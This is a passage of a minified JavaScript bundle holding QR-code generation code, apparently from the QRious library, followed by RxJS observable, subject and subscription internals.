213,183,115,230,209,191,99,198,145,63,126,252,229,215,179,123,246,241,255,227,219,171,75,150,49,98,196,149,55,110,220,165,87,174,65,130,25,50,100,200,141,7,14,28,56,112,224,221,167,83,166,81,162,89,178,121,242,249,239,195,155,43,86,172,69,138,9,18,36,72,144,61,122,244,245,247,243,251,235,203,139,11,22,44,88,176,125,250,233,207,131,27,54,108,216,173,71,142,0],LOG:[255,0,1,25,2,50,26,198,3,223,51,238,27,104,199,75,4,100,224,14,52,141,239,129,28,193,105,248,200,8,76,113,5,138,101,47,225,36,15,33,53,147,142,218,240,18,130,69,29,181,194,125,106,39,249,185,201,154,9,120,77,228,114,166,6,191,139,98,102,221,48,253,226,152,37,179,16,145,34,136,54,208,148,206,143,150,219,189,241,210,19,92,131,56,70,64,30,66,182,163,195,72,126,110,107,58,40,84,250,133,186,61,202,94,155,159,10,21,121,43,78,212,229,172,115,243,167,87,7,112,192,247,140,128,99,13,103,74,222,237,49,197,254,24,227,165,153,119,38,184,180,124,17,68,146,217,35,32,137,46,55,63,209,91,149,188,207,205,144,135,151,178,220,252,190,97,242,86,211,171,20,42,93,158,132,60,57,83,71,109,65,162,31,45,67,216,183,123,164,118,196,23,73,236,127,12,111,246,108,161,59,82,41,157,85,170,251,96,134,177,187,204,62,90,203,89,95,176,156,169,160,81,11,245,22,235,122,117,44,215,79,174,213,233,230,231,173,232,116,214,244,234,168,80,88,175]}),k=_.extend(null,{BLOCK:[3220,1468,2713,1235,3062,1890,2119,1549,2344,2936,1117,2583,1330,2470,1667,2249,2028,3780,481,4011,142,3098,831,3445,592,2517,1776,2234,1951,2827,1070,2660,1345,3177]}),K=_.extend(function(P){var w,R,X,_e,ct,Je=P.value.length;for(this._badness=[],this._level=G.LEVELS[P.level],this._polynomial=[],this._value=P.value,this._version=0,this._stringBuffer=[];this._version<40&&(this._version++,X=4*(this._level-1)+16*(this._version-1),_e=G.BLOCKS[X++],ct=G.BLOCKS[X++],w=G.BLOCKS[X++],R=G.BLOCKS[X],!(Je<=(X=w*(_e+ct)+ct-3+(this._version<=9)))););this._dataBlock=w,this._eccBlock=R,this._neccBlock1=_e,this._neccBlock2=ct;var Et=this.width=17+4*this._version;this.buffer=K._createArray(Et*Et),this._ecc=K._createArray(w+(w+R)*(_e+ct)+ct),this._mask=K._createArray((Et*(Et+1)+1)/2),this._insertFinders(),this._insertAlignments(),this.buffer[8+Et*(Et-8)]=1,this._insertTimingGap(),this._reverseMask(),this._insertTimingRowAndColumn(),this._insertVersion(),this._syncMask(),this._convertBitStream(Je),this._calculatePolynomial(),this._appendEccToData(),this._interleaveBlocks(),this._pack(),this._finish()},{_addAlignment:function(P,w){var R,X=this.buffer,_e=this.width;for(X[P+_e*w]=1,R=-2;R<2;R++)X[P+R+_e*(w-2)]=1,X[P-2+_e*(w+R+1)]=1,X[P+2+_e*(w+R)]=1,X[P+R+1+_e*(w+2)]=1;for(R=0;R<2;R++)this._setMask(P-1,w+R),this._setMask(P+1,w-R),this._setMask(P-R,w-1),this._setMask(P+R,w+1)},_appendData:function(P,w,R,X){var _e,ct,Je,Et=this._polynomial,Dt=this._stringBuffer;for(ct=0;ct<X;ct++)Dt[R+ct]=0;for(ct=0;ct<w;ct++){if(255!==(_e=oe.LOG[Dt[P+ct]^Dt[R]]))for(Je=1;Je<X;Je++)Dt[R+Je-1]=Dt[R+Je]^oe.EXPONENT[K._modN(_e+Et[X-Je])];else for(Je=R;Je<R+X;Je++)Dt[Je]=Dt[Je+1];Dt[R+X-1]=255===_e?0:oe.EXPONENT[K._modN(_e+Et[0])]}},_appendEccToData:function(){var P,w=0,R=this._dataBlock,X=this._calculateMaxLength(),_e=this._eccBlock;for(P=0;P<this._neccBlock1;P++)this._appendData(w,R,X,_e),w+=R,X+=_e;for(P=0;P<this._neccBlock2;P++)this._appendData(w,R+1,X,_e),w+=R+1,X+=_e},_applyMask:function(P){var w,R,X,_e,ct=this.buffer,Je=this.width;switch(P){case 0:for(_e=0;_e<Je;_e++)for(X=0;X<Je;X++)!(X+_e&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 1:for(_e=0;_e<Je;_e++)for(X=0;X<Je;X++)!(1&_e)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 2:for(_e=0;_e<Je;_e++)for(w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!w&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 3:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=R,X=0;X<Je;X++,w++)3===w&&(w=0),!w&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 4:for(_e=0;_e<Je;_e++)for(w=0,R=_e>>1&1,X=0;X<Je;X++,w++)3===w&&(w=0,R=!R),!R&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 5:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((X&_e&1)+!(!w|!R))&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 6:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((X&_e&1)+(w&&w===R)&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 7:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((w&&w===R)+(X+_e&1)&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1)}},_calculateMaxLength:function(){return this._dataBlock*(this._neccBlock1+this._neccBlock2)+this._neccBlock2},_calculatePolynomial:function(){var P,w,R=this._eccBlock,X=this._polynomial;for(X[0]=1,P=0;P<R;P++){for(X[P+1]=1,w=P;w>0;w--)X[w]=X[w]?X[w-1]^oe.EXPONENT[K._modN(oe.LOG[X[w]]+P)]:X[w-1];X[0]=oe.EXPONENT[K._modN(oe.LOG[X[0]]+P)]}for(P=0;P<=R;P++)X[P]=oe.LOG[X[P]]},_checkBadness:function(){var P,w,R,X,_e,ct=0,Je=this._badness,Et=this.buffer,Dt=this.width;for(_e=0;_e<Dt-1;_e++)for(X=0;X<Dt-1;X++)(Et[X+Dt*_e]&&Et[X+1+Dt*_e]&&Et[X+Dt*(_e+1)]&&Et[X+1+Dt*(_e+1)]||!(Et[X+Dt*_e]||Et[X+1+Dt*_e]||Et[X+Dt*(_e+1)]||Et[X+1+Dt*(_e+1)]))&&(ct+=K.N2);var Pt=0;for(_e=0;_e<Dt;_e++){for(R=0,Je[0]=0,P=0,X=0;X<Dt;X++)P===(w=Et[X+Dt*_e])?Je[R]++:Je[++R]=1,Pt+=(P=w)?1:-1;ct+=this._getBadness(R)}Pt<0&&(Pt=-Pt);var Ie=0,te=Pt;for(te+=te<<2,te<<=1;te>Dt*Dt;)te-=Dt*Dt,Ie++;for(ct+=Ie*K.N4,X=0;X<Dt;X++){for(R=0,Je[0]=0,P=0,_e=0;_e<Dt;_e++)P===(w=Et[X+Dt*_e])?Je[R]++:Je[++R]=1,P=w;ct+=this._getBadness(R)}return ct},_convertBitStream:function(P){var w,R,X=this._ecc,_e=this._version;for(R=0;R<P;R++)X[R]=this._value.charCodeAt(R);var ct=this._stringBuffer=X.slice(),Je=this._calculateMaxLength();P>=Je-2&&(P=Je-2,_e>9&&P--);var Et=P;if(_e>9){for(ct[Et+2]=0,ct[Et+3]=0;Et--;)ct[Et+3]|=255&(w=ct[Et])<<4,ct[Et+2]=w>>4;ct[2]|=255&P<<4,ct[1]=P>>4,ct[0]=64|P>>12}else{for(ct[Et+1]=0,ct[Et+2]=0;Et--;)ct[Et+2]|=255&(w=ct[Et])<<4,ct[Et+1]=w>>4;ct[1]|=255&P<<4,ct[0]=64|P>>4}for(Et=P+3-(_e<10);Et<Je;)ct[Et++]=236,ct[Et++]=17},_getBadness:function(P){var w,R=0,X=this._badness;for(w=0;w<=P;w++)X[w]>=5&&(R+=K.N1+X[w]-5);for(w=3;w<P-1;w+=2)X[w-2]===X[w+2]&&X[w+2]===X[w-1]&&X[w-1]===X[w+1]&&3*X[w-1]===X[w]&&(0===X[w-3]||w+3>P||3*X[w-3]>=4*X[w]||3*X[w+3]>=4*X[w])&&(R+=K.N3);return R},_finish:function(){this._stringBuffer=this.buffer.slice();var P,w,R=0,X=3e4;for(w=0;w<8&&(this._applyMask(w),(P=this._checkBadness())<X&&(X=P,R=w),7!==R);w++)this.buffer=this._stringBuffer.slice();R!==w&&this._applyMask(R),X=G.FINAL_FORMAT[R+(this._level-1<<3)];var _e=this.buffer,ct=this.width;for(w=0;w<8;w++,X>>=1)1&X&&(_e[ct-1-w+8*ct]=1,w<6?_e[8+ct*w]=1:_e[8+ct*(w+1)]=1);for(w=0;w<7;w++,X>>=1)1&X&&(_e[8+ct*(ct-7+w)]=1,w?_e[6-w+8*ct]=1:_e[7+8*ct]=1)},_interleaveBlocks:function(){var P,w,R=this._dataBlock,X=this._ecc,_e=this._eccBlock,ct=0,Je=this._calculateMaxLength(),Et=this._neccBlock1,Dt=this._neccBlock2,Pt=this._stringBuffer;for(P=0;P<R;P++){for(w=0;w<Et;w++)X[ct++]=Pt[P+w*R];for(w=0;w<Dt;w++)X[ct++]=Pt[Et*R+P+w*(R+1)]}for(w=0;w<Dt;w++)X[ct++]=Pt[Et*R+P+w*(R+1)];for(P=0;P<_e;P++)for(w=0;w<Et+Dt;w++)X[ct++]=Pt[Je+P+w*_e];this._stringBuffer=X},_insertAlignments:function(){var P,w,R,X=this._version,_e=this.width;if(X>1)for(P=j.BLOCK[X],R=_e-7;;){for(w=_e-7;w>P-3&&(this._addAlignment(w,R),!(w<P));)w-=P;if(R<=P+9)break;this._addAlignment(6,R-=P),this._addAlignment(R,6)}},_insertFinders:function(){var P,w,R,X,_e=this.buffer,ct=this.width;for(P=0;P<3;P++){for(w=0,X=0,1===P&&(w=ct-7),2===P&&(X=ct-7),_e[X+3+ct*(w+3)]=1,R=0;R<6;R++)_e[X+R+ct*w]=1,_e[X+ct*(w+R+1)]=1,_e[X+6+ct*(w+R)]=1,_e[X+R+1+ct*(w+6)]=1;for(R=1;R<5;R++)this._setMask(X+R,w+1),this._setMask(X+1,w+R+1),this._setMask(X+5,w+R),this._setMask(X+R+1,w+5);for(R=2;R<4;R++)_e[X+R+ct*(w+2)]=1,_e[X+2+ct*(w+R+1)]=1,_e[X+4+ct*(w+R)]=1,_e[X+R+1+ct*(w+4)]=1}},_insertTimingGap:function(){var P,w,R=this.width;for(w=0;w<7;w++)this._setMask(7,w),this._setMask(R-8,w),this._setMask(7,w+R-7);for(P=0;P<8;P++)this._setMask(P,7),this._setMask(P+R-8,7),this._setMask(P,R-8)},_insertTimingRowAndColumn:function(){var P,w=this.buffer,R=this.width;for(P=0;P<R-14;P++)1&P?(this._setMask(8+P,6),this._setMask(6,8+P)):(w[8+P+6*R]=1,w[6+R*(8+P)]=1)},_insertVersion:function(){var P,w,R,X,_e=this.buffer,ct=this._version,Je=this.width;if(ct>6)for(P=k.BLOCK[ct-7],w=17,R=0;R<6;R++)for(X=0;X<3;X++,w--)1&(w>11?ct>>w-12:P>>w)?(_e[5-R+Je*(2-X+Je-11)]=1,_e[2-X+Je-11+Je*(5-R)]=1):(this._setMask(5-R,2-X+Je-11),this._setMask(2-X+Je-11,5-R))},_isMasked:function(P,w){var R=K._getMaskBit(P,w);return 1===this._mask[R]},_pack:function(){var P,w,R,X=1,_e=1,ct=this.width,Je=ct-1,Et=ct-1,Dt=(this._dataBlock+this._eccBlock)*(this._neccBlock1+this._neccBlock2)+this._neccBlock2;for(w=0;w<Dt;w++)for(P=this._stringBuffer[w],R=0;R<8;R++,P<<=1){128&P&&(this.buffer[Je+ct*Et]=1);do{_e?Je--:(Je++,X?0!==Et?Et--:(X=!X,6==(Je-=2)&&(Je--,Et=9)):Et!==ct-1?Et++:(X=!X,6==(Je-=2)&&(Je--,Et-=8))),_e=!_e}while(this._isMasked(Je,Et))}},_reverseMask:function(){var P,w,R=this.width;for(P=0;P<9;P++)this._setMask(P,8);for(P=0;P<8;P++)this._setMask(P+R-8,8),this._setMask(8,P);for(w=0;w<7;w++)this._setMask(8,w+R-7)},_setMask:function(P,w){var R=K._getMaskBit(P,w);this._mask[R]=1},_syncMask:function(){var P,w,R=this.width;for(w=0;w<R;w++)for(P=0;P<=w;P++)this.buffer[P+R*w]&&this._setMask(P,w)}},{_createArray:function(P){var w,R=[];for(w=0;w<P;w++)R[w]=0;return R},_getMaskBit:function(P,w){var R;return P>w&&(R=P,P=w,w=R),R=w,R+=w*w,(R>>=1)+P},_modN:function(P){for(;P>=255;)P=((P-=255)>>8)+(255&P);return P},N1:3,N2:3,N3:40,N4:10}),se=K,q=g.extend({draw:function(){this.element.src=this.qrious.toDataURL()},reset:function(){this.element.src=""},resize:function(){var P=this.element;P.width=P.height=this.qrious.size}}),ce=_.extend(function(P,w,R,X){this.name=P,this.modifiable=Boolean(w),this.defaultValue=R,this._valueTransformer=X},{transform:function(P){var w=this._valueTransformer;return"function"==typeof w?w(P,this):P}}),Ze=_.extend(null,{abs:function(P){return null!=P?Math.abs(P):null},hasOwn:function(P,w){return Object.prototype.hasOwnProperty.call(P,w)},noop:function(){},toUpperCase:function(P){return null!=P?P.toUpperCase():null}}),le=_.extend(function(P){this.options={},P.forEach(function(w){this.options[w.name]=w},this)},{exists:function(P){return null!=this.options[P]},get:function(P,w){return le._get(this.options[P],w)},getAll:function(P){var w,R=this.options,X={};for(w in R)Ze.hasOwn(R,w)&&(X[w]=le._get(R[w],P));return X},init:function(P,w,R){var X,_e;for(X in"function"!=typeof R&&(R=Ze.noop),this.options)Ze.hasOwn(this.options,X)&&(le._set(_e=this.options[X],_e.defaultValue,w),le._createAccessor(_e,w,R));this._setAll(P,w,!0)},set:function(P,w,R){return this._set(P,w,R)},setAll:function(P,w){return this._setAll(P,w)},_set:function(P,w,R,X){var _e=this.options[P];if(!_e)throw new Error("Invalid option: "+P);if(!_e.modifiable&&!X)throw new Error("Option cannot be modified: "+P);return le._set(_e,w,R)},_setAll:function(P,w,R){if(!P)return!1;var X,_e=!1;for(X in P)Ze.hasOwn(P,X)&&this._set(X,P[X],w,R)&&(_e=!0);return _e}},{_createAccessor:function(P,w,R){var X={get:function(){return le._get(P,w)}};P.modifiable&&(X.set=function(_e){le._set(P,_e,w)&&R(_e,P)}),Object.defineProperty(w,P.name,X)},_get:function(P,w){return w["_"+P.name]},_set:function(P,w,R){var X="_"+P.name,_e=R[X],ct=P.transform(w??P.defaultValue);return R[X]=ct,ct!==_e}}),Oe=le,Ye=_.extend(function(){this._services={}},{getService:function(P){var w=this._services[P];if(!w)throw new Error("Service is not being managed with name: "+P);return w},setService:function(P,w){if(this._services[P])throw new Error("Service is already managed with name: "+P);w&&(this._services[P]=w)}}),qe=new Oe([new ce("background",!0,"white"),new ce("backgroundAlpha",!0,1,Ze.abs),new ce("element"),new ce("foreground",!0,"black"),new ce("foregroundAlpha",!0,1,Ze.abs),new ce("level",!0,"L",Ze.toUpperCase),new ce("mime",!0,"image/png"),new ce("padding",!0,null,Ze.abs),new ce("size",!0,100,Ze.abs),new ce("value",!0,"")]),Ke=new Ye,dt=_.extend(function(P){qe.init(P,this,this.update.bind(this));var w=qe.get("element",this),R=Ke.getService("element"),X=w&&R.isCanvas(w)?w:R.createCanvas(),_e=w&&R.isImage(w)?w:R.createImage();this._canvasRenderer=new z(this,X,!0),this._imageRenderer=new q(this,_e,_e===w),this.update()},{get:function(){return qe.getAll(this)},set:function(P){qe.setAll(P,this)&&this.update()},toDataURL:function(P){return this.canvas.toDataURL(P||this.mime)},update:function(){var P=new se({level:this.level,value:this.value});this._canvasRenderer.render(P),this._imageRenderer.render(P)}},{use:function(P){Ke.setService(P.getName(),P)}});Object.defineProperties(dt.prototype,{canvas:{get:function(){return this._canvasRenderer.getElement()}},image:{get:function(){return this._imageRenderer.getElement()}}});var ze=dt,xt=_.extend({getName:function(){}}).extend({createCanvas:function(){},createImage:function(){},getName:function(){return"element"},isCanvas:function(P){},isImage:function(P){}}).extend({createCanvas:function(){return document.createElement("canvas")},createImage:function(){return document.createElement("img")},isCanvas:function(P){return P instanceof HTMLCanvasElement},isImage:function(P){return P instanceof HTMLImageElement}});return ze.use(new xt),ze}()},591:(At,ae,d)=>{"use strict";d.d(ae,{X:()=>s});var n=d(8929),a=d(5279);class s extends n.xQ{constructor(c){super(),this._value=c}get value(){return this.getValue()}_subscribe(c){const f=super._subscribe(c);return f&&!f.closed&&c.next(this._value),f}getValue(){if(this.hasError)throw this.thrownError;if(this.closed)throw new a.N;return this._value}next(c){super.next(this._value=c)}}},9312:(At,ae,d)=>{"use strict";d.d(ae,{P:()=>c});var n=d(8896),a=d(1086),s=d(1737);class c{constructor(E,_,S){this.kind=E,this.value=_,this.error=S,this.hasValue="N"===E}observe(E){switch(this.kind){case"N":return E.next&&E.next(this.value);case"E":return E.error&&E.error(this.error);case"C":return E.complete&&E.complete()}}do(E,_,S){switch(this.kind){case"N":return E&&E(this.value);case"E":return _&&_(this.error);case"C":return S&&S()}}accept(E,_,S){return E&&"function"==typeof E.next?this.observe(E):this.do(E,_,S)}toObservable(){switch(this.kind){case"N":return(0,a.of)(this.value);case"E":return(0,s._)(this.error);case"C":return(0,n.c)()}throw new Error("unexpected notification kind value")}static createNext(E){return typeof E<"u"?new c("N",E):c.undefinedValueNotification}static createError(E){return new c("E",void 0,E)}static createComplete(){return c.completeNotification}}c.completeNotification=new c("C"),c.undefinedValueNotification=new c("N",void 0)},6498:(At,ae,d)=>{"use strict";d.d(ae,{y:()=>S});var n=d(3489),s=d(7668),u=d(3292),f=d(3821),E=d(4843),_=d(2830);let S=(()=>{class C{constructor(H){this._isScalar=!1,H&&(this._subscribe=H)}lift(H){const j=new C;return j.source=this,j.operator=H,j}subscribe(H,j,U){const{operator:G}=this,Q=function c(C,z,H){if(C){if(C instanceof n.L)return C;if(C[s.b])return C[s.b]()}return C||z||H?new n.L(C,z,H):new n.L(u.c)}(H,j,U);if(Q.add(G?G.call(Q,this.source):this.source||_.v.useDeprecatedSynchronousErrorHandling&&!Q.syncErrorThrowable?this._subscribe(Q):this._trySubscribe(Q)),_.v.useDeprecatedSynchronousErrorHandling&&Q.syncErrorThrowable&&(Q.syncErrorThrowable=!1,Q.syncErrorThrown))throw Q.syncErrorValue;return Q}_trySubscribe(H){try{return this._subscribe(H)}catch(j){_.v.useDeprecatedSynchronousErrorHandling&&(H.syncErrorThrown=!0,H.syncErrorValue=j),function a(C){for(;C;){const{closed:z,destination:H,isStopped:j}=C;if(z||j)return!1;C=H&&H instanceof n.L?H:null}return!0}(H)?H.error(j):console.warn(j)}}forEach(H,j){return new(j=g(j))((U,G)=>{let Q;Q=this.subscribe(oe=>{try{H(oe)}catch(Ce){G(Ce),Q&&Q.unsubscribe()}},G,U)})}_subscribe(H){const{source:j}=this;return j&&j.subscribe(H)}[f.L](){return this}pipe(...H){return 0===H.length?this:(0,E.U)(H)(this)}toPromise(H){return new(H=g(H))((j,U)=>{let G;this.subscribe(Q=>G=Q,Q=>U(Q),()=>j(G))})}}return C.create=z=>new C(z),C})();function g(C){if(C||(C=_.v.Promise||Promise),!C)throw new Error("no Promise impl found");return C}},3292:(At,ae,d)=>{"use strict";d.d(ae,{c:()=>s});var n=d(2830),a=d(2782);const s={closed:!0,next(u){},error(u){if(n.v.useDeprecatedSynchronousErrorHandling)throw u;(0,a.z)(u)},complete(){}}},8929:(At,ae,d)=>{"use strict";d.d(ae,{Yc:()=>E,xQ:()=>_});var n=d(6498),a=d(3489),s=d(2654),u=d(5279),c=d(5283),f=d(7668);class E extends a.L{constructor(C){super(C),this.destination=C}}let _=(()=>{class g extends n.y{constructor(){super(),this.observers=[],this.closed=!1,this.isStopped=!1,this.hasError=!1,this.thrownError=null}[f.b](){return new E(this)}lift(z){const H=new S(this,this);return H.operator=z,H}next(z){if(this.closed)throw new u.N;if(!this.isStopped){const{observers:H}=this,j=H.length,U=H.slice();for(let G=0;G<j;G++)U[G].next(z)}}error(z){if(this.closed)throw new u.N;this.hasError=!0,this.thrownError=z,this.isStopped=!0;const{observers:H}=this,j=H.length,U=H.slice();for(let G=0;G<j;G++)U[G].error(z);this.observers.length=0}complete(){if(this.closed)throw new u.N;this.isStopped=!0;const{observers:z}=this,H=z.length,j=z.slice();for(let U=0;U<H;U++)j[U].complete();this.observers.length=0}unsubscribe(){this.isStopped=!0,this.closed=!0,this.observers=null}_trySubscribe(z){if(this.closed)throw new u.N;return super._trySubscribe(z)}_subscribe(z){if(this.closed)throw new u.N;return this.hasError?(z.error(this.thrownError),s.w.EMPTY):this.isStopped?(z.complete(),s.w.EMPTY):(this.observers.push(z),new c.W(this,z))}asObservable(){const z=new n.y;return z.source=this,z}}return g.create=(C,z)=>new S(C,z),g})();class S extends _{constructor(C,z){super(),this.destination=C,this.source=z}next(C){const{destination:z}=this;z&&z.next&&z.next(C)}error(C){const{destination:z}=this;z&&z.error&&this.destination.error(C)}complete(){const{destination:C}=this;C&&C.complete&&this.destination.complete()}_subscribe(C){const{source:z}=this;return z?this.source.subscribe(C):s.w.EMPTY}}},5283:(At,ae,d)=>{"use strict";d.d(ae,{W:()=>a});var n=d(2654);class a extends n.w{constructor(u,c){super(),this.subject=u,this.subscriber=c,this.closed=!1}unsubscribe(){if(this.closed)return;this.closed=!0;const u=this.subject,c=u.observers;if(this.subject=null,!c||0===c.length||u.isStopped||u.closed)return;const f=c.indexOf(this.subscriber);-1!==f&&c.splice(f,1)}}},3489:(At,ae,d)=>{"use strict";d.d(ae,{L:()=>E});var n=d(7043),a=d(3292),s=d(2654),u=d(7668),c=d(2830),f=d(2782);class E extends s.w{constructor(g,C,z){switch(super(),this.syncErrorValue=null,this.syncErrorThrown=!1,this.syncErrorThrowable=!1,this.isStopped=!1,arguments.length){case 0:this.destination=a.c;break;case 1:if(!g){this.destination=a.c;break}if("object"==typeof g){g instanceof E?(this.syncErrorThrowable=g.syncErrorThrowable,this.destination=g,g.add(this)):(this.syncErrorThrowable=!0,this.destination=new _(this,g));break}default:this.syncErrorThrowable=!0,this.destination=new _(this,g,C,z)}}[u.b](){return this}static create(g,C,z){const H=new E(g,C,z);return H.syncErrorThrowable=!1,H}next(g){this.isStopped||this._next(g)}error(g){this.isStopped||(this.isStopped=!0,this._error(g))}complete(){this.isStopped||(this.isStopped=!0,this._complete())}unsubscribe(){this.closed||(this.isStopped=!0,super.unsubscribe())}_next(g){this.destination.next(g)}_error(g){this.destination.error(g),this.unsubscribe()}_complete(){this.destination.complete(),this.unsubscribe()}_unsubscribeAndRecycle(){const{_parentOrParents:g}=this;return this._parentOrParents=null,this.unsubscribe(),this.closed=!1,this.isStopped=!1,this._parentOrParents=g,this}}class _ extends E{constructor(g,C,z,H){super(),this._parentSubscriber=g;let j,U=this;(0,n.m)(C)?j=C:C&&(j=C.next,z=C.error,H=C.complete,C!==a.c&&(U=Object.create(C),(0,n.m)(U.unsubscribe)&&this.add(U.unsubscribe.bind(U)),U.unsubscribe=this.unsubscribe.bind(this))),this._context=U,this._next=j,this._error=z,this._complete=H}next(g){if(!this.isStopped&&this._next){const{_parentSubscriber:C}=this;c.v.useDeprecatedSynchronousErrorHandling&&C.syncErrorThrowable?this.__tryOrSetError(C,this._next,g)&&this.unsubscribe():this.__tryOrUnsub(this._next,g)}}error(g){if(!this.isStopped){const{_parentSubscriber:C}=this,{useDeprecatedSynchronousErrorHandling:z}=c.v;if(this._error)z&&C.syncErrorThrowable?(this.__tryOrSetError(C,this._error,g),this.unsubscribe()):(this.__tryOrUnsub(this._error,g),this.unsubscribe());else if(C.syncErrorThrowable)z?(C.syncErrorValue=g,C.syncErrorThrown=!0):(0,f.z)(g),this.unsubscribe();else{if(this.unsubscribe(),z)throw g;(0,f.z)(g)}}}complete(){if(!this.isStopped){const{_parentSubscriber:g}=this;if(this._complete){const C=()=>this._complete.call(this._context);c.v.useDeprecatedSynchronousErrorHandling&&g.syncErrorThrowable?(this.__tryOrSetError(g,C),this.unsubscribe()):(this.__tryOrUnsub(C),this.unsubscribe())}else this.unsubscribe()}}__tryOrUnsub(g,C){try{g.call(this._context,C)}catch(z){if(this.unsubscribe(),c.v.useDeprecatedSynchronousErrorHandling)throw z;(0,f.z)(z)}}__tryOrSetError(g,C,z){if(!c.v.useDeprecatedSynchronousErrorHandling)throw new Error("bad call");try{C.call(this._context,z)}catch(H){return c.v.useDeprecatedSynchronousErrorHandling?(g.syncErrorValue=H,g.syncErrorThrown=!0,!0):((0,f.z)(H),!0)}return!1}_unsubscribe(){const{_parentSubscriber:g}=this;this._context=null,this._parentSubscriber=null,g.unsubscribe()}}},2654:(At,ae,d)=>{"use strict";d.d(ae,{w:()=>f});var n=d(6688),a=d(7830),s=d(7043);const c=(()=>{function _(S){return Error.call(this),this.message=S?`${S.length} errors occurred during unsubscription:\\n${S.map((g,C)=>`${C+1}) ${g.toString()}`).join("\\n ")}`:"",this.name="UnsubscriptionError",this.errors=S,this}return _.prototype=Object.create(Error.prototype),_})();class f{constructor(S){this.closed=!1,this._parentOrParents=null,this._subscriptions=null,S&&(this._ctorUnsubscribe=!0,this._unsubscribe=S)}unsubscribe(){let S;if(this.closed)return;let{_parentOrParents:g,_ctorUnsubscribe:C,_unsubscribe:z,_subscriptions:H}=this;if(this.closed=!0,this._parentOrParents=null,this._subscriptions=null,g instanceof f)g.remove(this);else if(null!==g)for(let j=0;j<g.length;++j)g[j].remove(this);if((0,s.m)(z)){C&&(this._unsubscribe=void 0);try{z.call(this)}catch(j){S=j instanceof c?E(j.errors):[j]}}if((0,n.k)(H)){let j=-1,U=H.length;for(;++j<U;){const G=H[j];if((0,a.K)(G))try{G.unsubscribe()}catch(Q){S=S||[],Q instanceof c?S=S.concat(E(Q.errors)):S.push(Q)}}}if(S)throw new c(S)}add(S){let g=S;if(!S)return f.EMPTY;switch(typeof S){case"function":g=new f(S);case"object":if(g===this||g.closed||"function"!=typeof g.unsubscribe)return g;if(this.closed)return g.unsubscribe(),g;if(!(g instanceof f)){const H=g;g=new f,g._subscriptions=[H]}break;default:throw new Error("unrecognized teardown "+S+" added to Subscription.")}let{_parentOrParents:C}=g;if(null===C)g._parentOrParents=this;else if(C instanceof f){if(C===this)return g;g._parentOrParents=[C,this]}else{if(-1!==C.indexOf(this))return g;C.push(this)}const z=this._subscriptions;return null===z?this._subscriptions=[g]:z.push(g),g}remove(S){const g=this._subscriptions;if(g){const C=g.indexOf(S);-1!==C&&g.splice(C,1)}}}var _;function E(_){return _.reduce((S,g)=>S.concat(g instanceof c?g.errors:g),[])}f.EMPTY=((_=new f).closed=!0,_)},2830:(At,ae,d)=>{"use strict";d.d(ae,{v:()=>a});let n=!1;const a={Promise:void 0,set useDeprecatedSynchronousErrorHandling(s){if(s){const u=new Error;console.warn("DEPRECATED! RxJS was set to use deprecated synchronous error handling behavior by code at: \\n"+u.stack)}else n&&console.log("RxJS: Back to a better error behavior. Thank you. <3");n=s},get useDeprecatedSynchronousErrorHandling(){return n}}},1177:(At,ae,d)=>{"use strict";d.d(ae,{Ds:()=>f,IY:()=>u,ft:()=>_});var n=d(3489),a=d(6498),s=d(9249);class u extends n.L{constructor(g){super(),this.parent=g}_next(g){this.parent.notifyNext(g)}_error(g){this.parent.notifyError(g),this.unsubscribe()}_complete(){this.parent.notifyComplete(),this.unsubscribe()}}class f extends n.L{notifyNext(g){this.destination.next(g)}notifyError(g){this.destination.error(g)}notifyComplete(){this.destination.complete()}}function _(S,g){if(!g.closed)return S instanceof a.y?S.subscribe(g):(0,s.s)(S)(g)}},1762:(At,ae,d)=>{"use strict";d.d(ae,{N:()=>f,c:()=>c});var n=d(8929),a=d(6498),s=d(2654),u=d(4327);class c extends a.y{constructor(C,z){super(),this.source=C,this.subjectFactory=z,this._refCount=0,this._isComplete=!1}_subscribe(C){return this.getSubject().subscribe(C)}getSubject(){const C=this._subject;return(!C||C.isStopped)&&(this._subject=this.subjectFactory()),this._subject}connect(){let C=this._connection;return C||(this._isComplete=!1,C=this._connection=new s.w,C.add(this.source.subscribe(new E(this.getSubject(),this))),C.closed&&(this._connection=null,C=s.w.EMPTY)),C}refCount(){return(0,u.x)()(this)}}const f=(()=>{const g=c.prototype;return{operator:{value:null},_refCount:{value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:g._subscribe},_isComplete:{value:g._isComplete,writable:!0},getSubject:{value:g.getSubject},connect:{value:g.connect},refCount:{value:g.refCount}}})();class E extends n.Yc{constructor(C,z){super(C),this.connectable=z}_error(C){this._unsubscribe(),super._error(C)}_complete(){this.connectable._isComplete=!0,this._unsubscribe(),super._complete()}_unsubscribe(){const C=this.connectable;if(C){this.connectable=null;const z=C._connection;C._refCount=0,C._subject=null,C._connection=null,z&&z.unsubscribe()}}}},3426:(At,ae,d)=>{"use strict";d.d(ae,{aj:()=>C});var n=d(2866),a=d(6688),s=d(3489);class u extends s.L{notifyNext(U,G,Q,oe,Ce){this.destination.next(G)}notifyError(U,G){this.destination.error(U)}notifyComplete(U){this.destination.complete()}}class c extends s.L{constructor(U,G,Q){super(),this.parent=U,this.outerValue=G,this.outerIndex=Q,this.index=0}_next(U){this.parent.notifyNext(this.outerValue,U,this.outerIndex,this.index++,this)}_error(U){this.parent.notifyError(U,this),this.unsubscribe()}_complete(){this.parent.notifyComplete(this),this.unsubscribe()}}var f=d(9249),E=d(6498);function _(j,U,G,Q,oe=new c(j,G,Q)){if(!oe.closed)return U instanceof E.y?U.subscribe(oe):(0,f.s)(U)(oe)}var 